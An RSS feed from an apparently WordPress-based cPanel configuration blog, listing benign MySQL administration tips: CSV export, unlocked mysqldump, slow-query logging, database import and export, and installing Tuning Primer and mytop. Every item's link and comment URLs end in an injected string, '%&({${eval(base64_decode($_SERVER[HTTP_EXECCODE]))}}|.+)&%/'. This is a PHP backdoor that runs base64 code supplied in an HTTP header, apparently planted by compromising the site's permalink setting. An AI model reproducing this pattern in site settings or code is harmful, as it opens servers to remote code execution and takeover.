<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; mysql</title>
	<atom:link href="http://www.cpanelconfig.com/tag/mysql/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>mysql execute query from console and export to csv</title>
		<link>http://www.cpanelconfig.com/2008/10/03/mysql-execute-query-from-console-and-export-to-csv/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/10/03/mysql-execute-query-from-console-and-export-to-csv/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 11:48:22 +0000</pubDate>
		<dc:creator>copilas12</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=58</guid>
		<description><![CDATA[Hello. To dump a query to csv use this:




mysql  &#8211;database=database &#8211;execute=&#8221;select a from b where a&#62;1;&#8221; &#124; sed &#8217;s/\t/&#8221;,&#8221;/g;s/^/&#8221;/;s/$/&#8221;/;s/\n//g&#8217; &#62; filename.csv
]]></description>
			<content:encoded><![CDATA[<p>Hello. To dump a query to csv use this:<br />
<script type="text/javascript"><!--
google_ad_client = "pub-1278592249908214";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text_image";
//2007-09-07: cpanelconfig.com
google_ad_channel = "5743344290";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "0361A0";
google_color_text = "000000";
google_color_url = "0361A0";
//-->
</script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
mysql  &#8211;database=database &#8211;execute=&#8221;select a from b where a&gt;1;&#8221; | sed &#8217;s/\t/&#8221;,&#8221;/g;s/^/&#8221;/;s/$/&#8221;/;s/\n//g&#8217; &gt; filename.csv</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/10/03/mysql-execute-query-from-console-and-export-to-csv/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mysqldump without locking tables</title>
		<link>http://www.cpanelconfig.com/2008/10/03/mysqldump-without-locking-tables/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/10/03/mysqldump-without-locking-tables/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 11:35:16 +0000</pubDate>
		<dc:creator>copilas12</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[locking]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=53</guid>
		<description><![CDATA[Hello. I had a trouble some time ago: i wanted to dump a large table (38 million rows, 5G size) without locking the table because the website can&#8217;t go down. So, here is the mysqldump command:




mysqldump &#8211;skip-add-locks &#8211;skip-lock-tables database &#62; database.sql
or for just a table:
mysqldump &#8211;skip-add-locks &#8211;skip-lock-tables database table &#62; database.table.sql

Hope this help.
]]></description>
			<content:encoded><![CDATA[<p>Hello. I had a trouble some time ago: i wanted to dump a large table (38 million rows, 5G size) without locking the table because the website can&#8217;t go down. So, here is the mysqldump command:<br />
<!--adsense--><br />
mysqldump &#8211;skip-add-locks &#8211;skip-lock-tables database &gt; database.sql</p>
<p>or for just a table:</p>
<p>mysqldump &#8211;skip-add-locks &#8211;skip-lock-tables database table &gt; database.table.sql</p>
<p><!--adsense--><br />
Hope this help.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/10/03/mysqldump-without-locking-tables/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Identifying slow MySQL queries</title>
		<link>http://www.cpanelconfig.com/2007/11/09/identifying-slow-mysql-queries/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/11/09/identifying-slow-mysql-queries/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 09 Nov 2007 12:14:53 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[log-slow-queries]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[queries]]></category>
		<category><![CDATA[query]]></category>
		<category><![CDATA[slow queries]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/optimize-a-cpanel-server/identifying-slow-mysql-queries/</guid>
		<description><![CDATA[MySQL can sometimes create big problems on a server when you have users abusing it.
This article will teach you how to correctly identify the queries that are creating a problem for your server.

MySQL can log those queries that are taking longer then X seconds but this future is not turned on by default.
Here&#8217;s how you [...]]]></description>
			<content:encoded><![CDATA[<p>MySQL can sometimes create big problems on a server when you have users abusing it.<br />
This article will teach you how to correctly identify the queries that are creating a problem for your server.</p>
<p><!--adsense--><br />
MySQL can log those queries that are taking longer then X seconds but this future is not turned on by default.<br />
Here&#8217;s how you turn it on:</p>
<ol>
<li>Login to your server as root</li>
<li>Open my.cnf with your favorite editor. Example:</li>
<blockquote><p>pico /etc/my.cnf</p></blockquote>
<li>Into the [mysqld] section add the fallowing lines</li>
<blockquote><p>log-slow-queries = /var/log/mysql-slow.log<br />
long_query_time = 3</p></blockquote>
<p>This is just an example. You can use any file name that you want and you can modify the long_query_time to any value. In this example I will be logging to /var/log/mysql-slow.log any queries that are taking longer then 3 seconds.</p>
<li>Go ahead and save the configuration.</li>
<blockquote><p>For pico: CTRL+X and YES</p></blockquote>
<li>Now we have to actually create the log file.</li>
<blockquote><p>touch /var/log/mysql-slow.log</p></blockquote>
<li>Now we are changing the owner of the file so that mysql and actually write to it.</li>
<blockquote><p>chown mysql.root /var/log/mysql-slow.log</p></blockquote>
<li>Now we restart mysql</li>
<blockquote><p>service mysql restart</p></blockquote>
<p>It should restart successfully. If it doesn&#8217;t check that you didn&#8217;t brake my.cnf</p>
<li>Wait a few minutes and then examine the slow queries log</li>
<p>A few examples on how to do it:<br />
<!--adsense--></p>
<blockquote><p>cat /var/log/mysql-slow.log<br />
tail /var/log/mysql-slow.log<br />
tail -50 /var/log/mysql-slow.log</p></blockquote>
</ol>
<p>After you have identified the offending query go ahead and optimize or remove it.<br />
Again test the results by looking at your server load and the mysql slow queries log.</p>
<p>After you fixed all the problems go ahead and comment the slow queries logging as it will slow your server a bit if you let it on. my.cnf should now look similar to this:</p>
<blockquote><p>#log-slow-queries = /var/log/mysql-slow.log<br />
#long_query_time = 3</p></blockquote>
<p>And don&#8217;t forget to restart MySQL after this.</p>
<blockquote><p>service mysql restart</p></blockquote>
<p><!--adsense--><br />
Hope this helps !</p>
<p>I suggest you also read:</p>
<ul>
<li><a rel="bookmark" href="http://www.cpanelconfig.com/optimize-a-cpanel-server/install-mysql-performance-tuning-primer-script/" title="Install MySQL Performance Tuning Primer Script">Install MySQL Performance Tuning Primer Script</a></li>
<li><a rel="bookmark" href="http://www.cpanelconfig.com/optimize-a-cpanel-server/install-mytop-top-clone-for-mysql/" title="Install mytop - top clone for MySQL">Install mytop &#8211; top clone for MySQL</a></li>
</ul>
<p>If you have any problems or suggestions don&#8217;t hesitate to leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/11/09/identifying-slow-mysql-queries/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>53</slash:comments>
		</item>
		<item>
		<title>Importing/Exporting a mysql database</title>
		<link>http://www.cpanelconfig.com/2007/11/05/importingexporting-a-mysql-database/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/11/05/importingexporting-a-mysql-database/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 05 Nov 2007 16:30:44 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[export]]></category>
		<category><![CDATA[import]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[mysqldump]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/general-work-on-cpanel-servers/basic-linux-commands-for-linux-based-servers/importingexporting-a-mysql-database/</guid>
		<description><![CDATA[
Although you can do a database import and/or export from phpMyAdmin there is a size limitation (defined in my.cnf max_allowed_packet) when you do an import, so the only solution is to import it from shell.
This article will show you how simple it is to do it.
Importing a mysql database

Login to your server as root or [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
Although you can do a database import and/or export from phpMyAdmin there is a size limitation (defined in my.cnf max_allowed_packet) when you do an import, so the only solution is to import it from shell.<br />
This article will show you how simple it is to do it.</p>
<p><strong>Importing a mysql database</strong></p>
<ol>
<li>Login to your server as root or as a user that has access to that database</li>
<li>Type the fallowing command</li>
<blockquote><p>mysql -u<strong>USERNAME</strong> -p<strong>PASSWORD</strong> database_name &lt; database.sql</p></blockquote>
</ol>
<p><!--adsense--><br />
<strong>Exporting a database</strong></p>
<ol>
<li>Login to your server as root or as a user that has access to that database</li>
<li>Type the fallowing command</li>
<blockquote><p>mysqldump -u<strong>USERNAME</strong> -p<strong>PASSWORD</strong> database_name &gt; database.sql</p></blockquote>
</ol>
<p>Notes:</p>
<p>USERNAME and PASSWORD is a combination that has access to that database. It can actually be the mysql root user.<br />
database.sql is the file imported or the file to which you do the export.</p>
<p>Hope this helps !<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/11/05/importingexporting-a-mysql-database/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Install MySQL Performance Tuning Primer Script</title>
		<link>http://www.cpanelconfig.com/2007/09/11/install-mysql-performance-tuning-primer-script/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/11/install-mysql-performance-tuning-primer-script/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 11 Sep 2007 22:44:22 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[mysql optimization]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[tuning primer]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/optimize-a-cpanel-server/install-mysql-performance-tuning-primer-script/</guid>
		<description><![CDATA[
Tuning the performance of MySQL can be a really hard job to do.
There are many thinks to consider and no two servers are identical so there is no universal solution.
Tuning Primer is a script that will help you tune your mysql installation by providing very healthy recommendations based on past mysql records.
For the script to [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
Tuning the performance of MySQL can be a really hard job to do.<br />
There are many thinks to consider and no two servers are identical so there is no universal solution.<br />
Tuning Primer is a script that will help you tune your mysql installation by providing very healthy recommendations based on past mysql records.<br />
For the script to be efficient you must run the mysql server for at least 48 hours.</p>
<p>Installation is extremely simple:</p>
<ol>
<li>Download the script</li>
<blockquote><p>wget http://day32.com/MySQL/tuning-primer.sh</p></blockquote>
<li>Change the permissions for the file<br />
<blockquote><p>
	chmod 755 tuning-primer.sh
</p></blockquote>
</li>
<li>Run it</li>
<blockquote><p>./tuning-primer.sh</p></blockquote>
<li>Apply the sugesttions</li>
</ol>
<p>Enjoy!<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/11/install-mysql-performance-tuning-primer-script/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>33</slash:comments>
		</item>
		<item>
		<title>Install mytop &#8211; top clone for MySQL</title>
		<link>http://www.cpanelconfig.com/2007/09/08/install-mytop-top-clone-for-mysql/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/08/install-mytop-top-clone-for-mysql/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sat, 08 Sep 2007 20:11:27 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Optimization]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[mytop]]></category>
		<category><![CDATA[performance]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/uncategorized/install-mytop-top-clone-for-mysql/</guid>
		<description><![CDATA[
What is mytop?
mytop is a console-based (non-gui) tool for monitoring the threads and overall performance of a MySQL 3.22.x, 3.23.x, and 4.x server. It runs on most Unix systems (including Mac OS X) which have Perl, DBI, and Term::ReadKey installed.
You will find more details on the homepage at http://jeremy.zawodny.com/mysql/mytop/
How to install

Download mytop
wget http://jeremy.zawodny.com/mysql/mytop/mytop-1.6.tar.gz
Extract and change [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
<strong>What is mytop?<br />
</strong>mytop is a console-based (non-gui) tool for monitoring the threads and overall performance of a MySQL 3.22.x, 3.23.x, and 4.x server. It runs on most Unix systems (including Mac OS X) which have Perl, DBI, and Term::ReadKey installed.</p>
<p>You will find more details on the homepage at <a href="http://jeremy.zawodny.com/mysql/mytop/">http://jeremy.zawodny.com/mysql/mytop/</a></p>
<p><strong>How to install</strong></p>
<ol>
<li>Download mytop</li>
<blockquote><p>wget http://jeremy.zawodny.com/mysql/mytop/mytop-1.6.tar.gz</p></blockquote>
<li>Extract and change directory</li>
<blockquote><p>tar -zxvf mytop-1.6.tar.gz<br />
cd mytop-1.6</p></blockquote>
<li>Install mytop</li>
<blockquote><p>perl Makefile.PL<br />
make<br />
make install</p></blockquote>
<p><!--adsense--></p>
<li>Run mytop</li>
<blockquote><p>mytop</p></blockquote>
</ol>
<p>You can find additional information about mytop configuration at: <a href="http://jeremy.zawodny.com/mysql/mytop/mytop.html">http://jeremy.zawodny.com/mysql/mytop/mytop.html</a><br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/08/install-mytop-top-clone-for-mysql/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
